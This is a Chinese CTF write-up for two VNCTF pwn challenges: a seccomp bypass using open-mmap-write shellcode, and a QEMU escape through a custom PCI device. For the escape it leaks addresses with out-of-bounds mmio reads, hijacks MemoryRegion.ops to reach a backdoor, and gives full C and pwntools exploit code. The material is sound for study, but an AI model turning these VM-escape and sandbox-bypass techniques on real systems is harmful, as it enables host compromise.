没注意到今天还有一个 vnctf😭赛后复盘一下
pwn
shellcode
签到题,禁用了 execve 相关函数,还禁用了所有与 read 和 socket send
相关的函数,也就是 ORW 缺 R
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019 0005: 0x15 0x0d 0x00 0x00000000 if (A == read) goto 0019 0006: 0x15 0x0c 0x00 0x00000011 if (A == pread64) goto 0019 0007: 0x15 0x0b 0x00 0x00000013 if (A == readv) goto 0019 0008: 0x15 0x0a 0x00 0x00000028 if (A == sendfile) goto 0019 0009: 0x15 0x09 0x00 0x0000002c if (A == sendto) goto 0019 0010: 0x15 0x08 0x00 0x0000002e if (A == sendmsg) goto 0019 0011: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0019 0012: 0x15 0x06 0x00 0x00000127 if (A == preadv) goto 0019 0013: 0x15 0x05 0x00 0x00000142 if (A == execveat) goto 0019 0014: 0x15 0x04 0x00 0x00000147 if (A == preadv2) goto 0019 0015: 0x15 0x03 0x00 0x000001a9 if (A == 0x1a9) goto 0019 0016: 0x15 0x02 0x00 0x000001aa if (A == 0x1aa) goto 0019 0017: 0x15 0x01 0x00 0x000001ab if (A == 0x1ab) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
但是这种不是!=
的 seccomp 代表了有很多其他的可能性。
我们知道 mmap 可以不通过 IO
直接将磁盘文件映射到内存空间当中,所以本题我们考虑用 open - mmap - write
的方式来打印 flag 文件
但这题也卡了我一个小时,主要卡在 mmap 的 flags 上。最开始 flags =
0x22 时 mmap 即使成功分配内存也无法将文件内容映射到内存中,最后调整为
flags=0x2 才成功映射
以及通过这题我还学到了 mmap 在分配内存时可以将 addr 设置为 0,这样
mmap 会自动寻找一块合适的内存,而我们知道 rax 是 mmap
的返回值,所以我们可以通过控制 rax 来获取 mmap 申请的内存地址。
我这里没有远程环境,不确定这种做法是否能得到 flag
况且之前的 NSSCTF Round18 还出现了本地能打通远程打不通的情况,可能是
flag 文件不跟 vuln 文件在同一个文件夹下
exp 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) context.terminal = ['tmux' , 'splitw' , '-h' ] ip = '' .split(':' ) file = './pwn' io = process(file) elf = ELF(file) shellcode_open = shellcraft.open ("./flag.txt" ) shellcode_mmap = shellcraft.mmap(0 ,0x80 ,7 ,0x2 ,3 ,0 ) shellcode_write = ''' mov rsi,rax push 1 pop rdi xor edx, edx mov dl, 0x80 push 1 pop rax syscall ''' shellcode = shellcode_open shellcode += shellcode_mmap shellcode += shellcode_write shellcode = asm(shellcode) io.sendline(shellcode) io.interactive()
escape_langlang_mountain2
QEMU 逃逸,第一次做 ;(
读
Dockerfile
,了解到它在搭起环境以后启动了start.sh
,
再读 start.sh
,了解到它启动了 xinetd
程序
再读 xinetd
,这个程序的主要作用是监听指定
port,并根据预先定义好的配置来启动相应服务。可以看到
server_args
处启动了 run.sh
再读 run.sh
,发现它用 QEMU 起了一个程序,通过
-device vn
我们可以知道 vn
是作为 QEMU
中的一个 pci设备
存在的。
通过 IDA 查找字符串 vn_
可以找到
vn_instance_init
,跟进调用
字符串vn_instance_init
的
函数vn_instance_init
,再按 x 查看
函数vn_instance_init
的引用,可以看到下面还有一个
vn_class_init
,反汇编后看到
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall vn_class_init (__int64 a1) { __int64 result; result = PCI_DEVICE_CLASS_23(a1); *(_QWORD *)(result + 176 ) = pci_vn_realize; *(_QWORD *)(result + 184 ) = 0LL ; *(_WORD *)(result + 208 ) = 0x1234 ; *(_WORD *)(result + 210 ) = 0x2024 ; *(_BYTE *)(result + 212 ) = 0x10 ; *(_WORD *)(result + 214 ) = 0xFF ; return result; }
通过厂商ID和设备ID,我们可以判断下列 pci 设备中
00:04.0 Class 00ff: 1234:2024
就是我们要找的
vn
1 2 3 4 5 6 7 8 9 /sys/devices/pci0000:00/0000:00:04.0 # lspci lspci 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:2024 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111
进而去/sys/devices/pci0000:00/0000:00:04.0
目录查看该设备 mmio
与 pmio
的注册情况
1 2 3 4 5 6 7 /sys/devices/pci0000:00/0000:00:04.0 # ls -al ... ... -r--r--r-- 1 0 0 4096 Feb 18 12:18 resource -rw------- 1 0 0 4096 Feb 18 12:18 resource0 ... ...
有了 resource0 这个文件,我们就可以在exp里 mmap
做虚拟地址映射。
并且我们可以看到 vn
这个设备只注册了
mmio
,那就考虑用 mmio攻击(点击这里了解
mmio 运行原理)
然后,本题的核心在于伪造 MemoryRegion
结构体,由于上述部分我也不清楚为什么要这样去 read 和
write,所以还需要补很多基础知识 (2.18晚)
花了一整个晚上的时间把 qemu 调试搞定了,明天找一下 QEMU
相关部分的源码读一下 (2.19晚)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 gcc exp.c --static -o exp hen rootfs.cpio gen rootfs.cpio vim run.sh vim Dockerfile docker-compose build docker start vnctf docker cp /path/to/file container_name:/whatever/path/you/want/to/file docker exec -ti vnctf /bin/bash docker exec -ti vnctf /bin/bash ./run.sh ps -ax |grep "qemu" gdb ./qemu-system-x86_64 (gdb) attach PID (gdb) continue (gdb) b vn_mmio_read cd /usr/bin ./exp 此时就可以开始调试了
今晚去 ctf-wiki 上看了一下 QEMU 关于 MemoryRegion
相关的代码和结构体,但我突然意识到题目中设备的 mmio_read
和
mmio_write
是自己实现的 (比如blizzardCTF
里的 strng ),所以在互联网上不会找到相关的源码,只能反汇编去硬看
到这里好像有点乱了,我们来捋一下:
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而
-device
参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过
lspci
来查看相关 pci,并在/sys/devices/...找到 pci
设备启动时 kernel 分配给 pci 的资源,也就是 resource0
等,这也是前文提到过的。
resource0 可以看作是一大片开关,当我们修改 resource0
中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域
随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件,用 mmap
映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序,虚拟的 pci
设备意味着,一定有一片内存存储着 pci 相关的数据
关于 pci 存储数据的这一部分好像就涉及 QOM
了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init
等函数有关
1 2 3 4 5 6 假设我们的调用链是这样的: docker -> QEMU -> exp 则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间 而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。
那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write
的反汇编,了解怎样读写堆区内容。
由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是
object_dynamic_cast_assert
是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用
ptr 指向这块地址
①如果 op == 0x30 且 ptr[737] == 0
ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
②如果 op == 0x10 且 var < 0x3C
ptr[736] = var
这里可以用负数来上溢,从而可以读很大一片空间的内容
③如果 op == 0x20 且 var 的高32位 < 0x3C
ptr[ HIDWORD(var) + 720 ] = (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析
vn_mmio_read
我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的
mmio_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void mmio_write (uint64_t addr, uint64_t value) { *((uint64_t *)(mmio_base + addr)) = value; } uint32_t mmio_read (uint64_t addr) { return *((uint32_t *)(mmio_base + addr)); } void mmio_write_idx (uint64_t idx, uint64_t value) { uint64_t val = value + (idx << 32 ); mmio_write(0x20 ,val); }
通过 Shift + F12
查/bin/sh
可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");
现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736]
附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie
才能利用后门函数。
所以我们就先读一些内容,看看附近有没有什么能利用的东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int main (int argc, char const *argv[]) { uint32_t catflag_addr = 0x6E65F9 ; getMMIOBase(); printf ("mmio_base Resource0Base: %p\n" , mmio_base); uint64_t test_low,test_high,test; for (int i=-1 ;i>=-30 ;i--) { mmio_write(0x10 , i*0x8 ); test_low = mmio_read(0x20 ); mmio_write(0x10 , i*0x8 + 0x4 ); test_high = mmio_read(0x20 ); test = test_low + (test_high << 32 ); printf ("test%d = 0x%llx\n" , -i, test); getchar(); } }
我们逐个地址 x/2gx
一下,最终发现这几个比较有意思的地方
PIE
1 2 (gdb) x/2 gx 0x55da256a335b 0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3 0xf3c35d90f87d8948
我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是
0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了
heap & MemoryRegion
1 2 (gdb) x/2 gx 0x55da25dd01e0 0x55da25dd01e0 <vn_mmio_ops>: 0x000055da252d3458 0x000055da252d3502
我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0
所以我们有如下对应关系:
1 ptr[-24 + 720 ] -> 0x55da25dd01e0
那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是
MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是
MemoryRegion 存在堆里,所以我们考虑用 find
命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 -> 0x55da2812e470
1 2 3 4 (gdb) find 0x55da2812e470 , 0x55da2812e470 +0x1000 , 0x55da25dd01e0 0x55da2812eef0 1 pattern found.
因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近,可以计算一下
1 2 3 4 (gdb) print(0x55da2812ef58 - 0x55da2812eef0 ) $1 = 104
而我们打印一下更多附近的值,可以看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 (gdb) x/52 xg 0x55da2812ef58 - 0x58 - 0x60 0x55da2812eea0 : 0x000055da271f1840 0x0000000000000000 0x55da2812eeb0 : 0x000055da280e1f00 0x0000000000000001 0x55da2812eec0 : 0x000055da2812e470 0x0000000000000001 0x55da2812eed0 : 0x0000000000000000 0x0000000000000000 0x55da2812eee0 : 0x000055da2812e470 0x000055da2812e470 0x55da2812eef0 : 0x000055da25dd01e0 0x000055da2812e470 <- test 24 | 23 0x55da2812ef00 : 0x000055da271feae0 0x0000000000000000 0x55da2812ef10 : 0x0000000000001000 0x0000000000000000 0x55da2812ef20 : 0x00000000febf1000 0x000055da256a335b <- test 18 | 17 0x55da2812ef30 : 0x0000000000000000 0x0000000000010001 0x55da2812ef40 : 0x0000000000000000 0x0000000000000000 0x55da2812ef50 : 0x0000000000000001 0x0000000000000000 0x55da2812ef60 : 0x000055da2812ef58 0x000055da27e4f820 0x55da2812ef70 : 0x000055da271feb98 0x0000000000000000 0x55da2812ef80 : 0x000055da2812ef78 0x000055da28130f00 0x55da2812ef90 : 0x0000000000000000 0x0000000000000000 0x55da2812efa0 : 0x0000000000000000 0x0000000000000000 0x55da2812efb0 : 0x0000000000000000 0x0000000000000000 <- test 0 | -1 0x55da2812efc0 : 0x0000000000000000 0x0000000000000000 0x55da2812efd0 : 0x0000000000000000 0x0000000000000000 0x55da2812efe0 : 0x0000000000000000 0x0000000000000000 0x55da2812eff0 : 0x00000000ffffff2c 0x0000000000000000 0x55da2812f000 : 0x0000000000000000 0x0000000000000061 0x55da2812f010 : 0x000055da2812d3c0 0x000055da273b01d0 0x55da2812f020 : 0x0000000000000000 0x000055da25725d5f 0x55da2812f030 : 0x0000000000000000 0x000055da25725de1
我们回到 ctf-wiki-QEMU
里查看一下 MemoryRegion
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 struct MemoryRegion { Object parent_obj; bool romd_mode; bool ram; bool subpage; bool readonly; bool nonvolatile; bool rom_device; bool flush_coalesced_mmio; bool global_locking; uint8_t dirty_log_mask; bool is_iommu; RAMBlock *ram_block; Object *owner; const MemoryRegionOps *ops; void *opaque; MemoryRegion *container; Int128 size; hwaddr addr; void (*destructor)(MemoryRegion *mr); uint64_t align; bool terminates; bool ram_device; bool enabled; bool warning_printed; uint8_t vga_logging_count; MemoryRegion *alias; hwaddr alias_offset; int32_t priority; QTAILQ_HEAD(, MemoryRegion) subregions; QTAILQ_ENTRY(MemoryRegion) subregions_link; QTAILQ_HEAD(, CoalescedMemoryRange) coalesced; const char *name; unsigned ioeventfd_nb; MemoryRegionIoeventfd *ioeventfds; };
假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 0x55da2812eea0 : 0x000055da271f1840 0x55da2812eea8 : 0x0000000000000000 0x55da2812eeb0 : 0x000055da280e1f00 0x55da2812eeb8 : 0x0000000000000001 0x55da2812eec0 : 0x000055da2812e470 0x55da2812eec8 : 0x0000000000000001 0x55da2812eed0 : 0x0000000000000000 0x55da2812eed8 : 0x0000000000000000 0x55da2812eee0 : 0x000055da2812e470 0x55da2812eee8 : 0x000055da2812e470 0x55da2812eef0 : 0x000055da25dd01e0 -24 -> test24 -> ops0x55da2812eef8 : 0x000055da2812e470 -23 -> test23 -> opaque0x55da2812ef00 : 0x000055da271feae0 -22 -> test22 -> container0x55da2812ef08 : 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭0x55da2812ef10 : 0x0000000000001000 -20 -> test20 -> size(Int128)0x55da2812ef18 : 0x0000000000000000 -19 -> test19 -> size0x55da2812ef20 : 0x00000000febf1000 -18 -> test18 -> addr0x55da2812ef28 : 0x000055da256a335b -17 -> test17 -> mr0x55da2812ef30 : 0x0000000000000000 0x55da2812ef38 : 0x0000000000010001 0x55da2812ef40 : 0x0000000000000000 0x55da2812ef48 : 0x0000000000000000 0x55da2812ef50 : 0x0000000000000001 0x55da2812ef58 : 0x0000000000000000 0x55da2812ef60 : 0x0000000000000000 0x55da2812ef68 : 0x0000000000000000 0x55da2812ef70 : 0x0000000000000000 0x55da2812ef78 : 0x0000000000000000 0x55da2812ef80 : 0x0000000000000000 0x55da2812ef88 : 0x0000000000000000 0x55da2812ef90 : 0x0000000000000000 0x55da2812ef98 : 0x0000000000000000 0x55da2812efa0 : 0x0000000000000000 0x55da2812efa8 : 0x0000000000000000 -> test0 0x55da2812efb0 : 0x0000000000000000 -> 可以看到这里有一大片'\x00' 0x55da2812efb8 : 0x0000000000000000 -> 我们可以把控制流劫持的指针0x55da2812efc0 : 0x0000000000000000 -> 放在这一片0x55da2812efc8 : 0x0000000000000000 0x55da2812efd0 : 0x0000000000000000 0x55da2812efd8 : 0x0000000000000000 0x55da2812efe0 : 0x0000000000000000 0x55da2812efe8 : 0x0000000000000000
我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即
MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行
vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置:
1 2 0x55da2812eef0 (&test24) -> 0x55da2812efd8 0x55da2812efd8 (&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <ctype.h> #include <termios.h> #include <assert.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/io.h> #define MAP_SIZE 0x1000000 #define MAP_MASK (MAP_SIZE - 1) char * pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0" ;unsigned char * mmio_base;unsigned char * getMMIOBase () { int fd; if ((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1 ) { perror("open pci device" ); exit (-1 ); } mmio_base = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd,0 ); if (mmio_base == (void *) -1 ) { perror("mmap" ); exit (-1 ); } return mmio_base; } void mmio_write (uint64_t addr, uint64_t value) { *((uint64_t *)(mmio_base + addr)) = value; } uint32_t mmio_read (uint64_t addr) { return *((uint32_t *)(mmio_base + addr)); } void mmio_write_idx (uint64_t idx, uint64_t value) { uint64_t val = value + (idx << 32 ); mmio_write(0x20 ,val); } int main (int argc, char const *argv[]) { uint32_t catflag_addr = 0x6E65F9 ; getMMIOBase(); printf ("mmio_base Resource0Base: %p\n" , mmio_base); mmio_write(0x10 , -17 *0x8 ); uint64_t pie_low = mmio_read(0x20 ); mmio_write(0x10 , -17 *0x8 + 0x4 ); uint64_t pie_high = mmio_read(0x20 ); uint64_t pie = pie_low + (pie_high << 32 ) - 0x82B35B ; printf ("pie = 0x%llx\n" , pie); getchar(); mmio_write(0x10 , -10 *0x8 ); uint64_t heap_low = mmio_read(0x20 ); mmio_write(0x10 , -10 *0x8 + 0x4 ); uint64_t heap_high = mmio_read(0x20 ); uint64_t heap = heap_low + (heap_high << 32 ); printf ("heap = 0x%llx\n" , heap); uint64_t backdoor = pie + 0x67429B ; uint64_t system_plt_addr = heap + 0x60 + 8 ; uint64_t cmdaddr = heap + 0x58 + 8 ; getchar(); mmio_write_idx(8 ,0x20746163 ); mmio_write_idx(12 ,0x67616C66 ); mmio_write_idx(16 ,backdoor & 0xffffffff ); mmio_write_idx(20 ,backdoor >> 32 ); mmio_write_idx(24 ,system_plt_addr & 0xffffffff ); mmio_write_idx(28 ,system_plt_addr >> 32 ); mmio_write_idx(32 ,cmdaddr & 0xffffffff ); mmio_write_idx(36 ,cmdaddr >> 32 ); getchar(); for (int i = 40 ;i <= 60 ;i += 4 ) { mmio_write_idx(i,0 ); } getchar(); mmio_write(0x10 ,-0xc0 ); getchar(); mmio_write(0x30 ,system_plt_addr); getchar(); mmio_read(0 ); return 0 ; }
如何传到远端服务器?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *import time, oscontext.log_level = "debug" p=remote("127.0.0.1" ,9999 ) os.system("tar -czvf exp.tar.gz ./exp" ) os.system("base64 exp.tar.gz > b64_exp" ) f = open ("./b64_exp" , "r" ) p.sendline() p.recvuntil("~ #" ) p.sendline("echo '' > b64_exp;" ) count = 1 while True : print ('now line: ' + str (count)) line = f.readline().replace("\n" ,"" ) if len (line)<=0 : break cmd = b"echo '" + line.encode() + b"' >> b64_exp;" p.sendline(cmd) p.recvuntil("~ #" ) count += 1 f.close() p.sendline("base64 -d b64_exp > exp.tar.gz;" ) p.sendline("tar -xzvf exp.tar.gz" ) p.sendline("chmod +x ./exp;" ) p.sendline("./exp" ) p.interactive()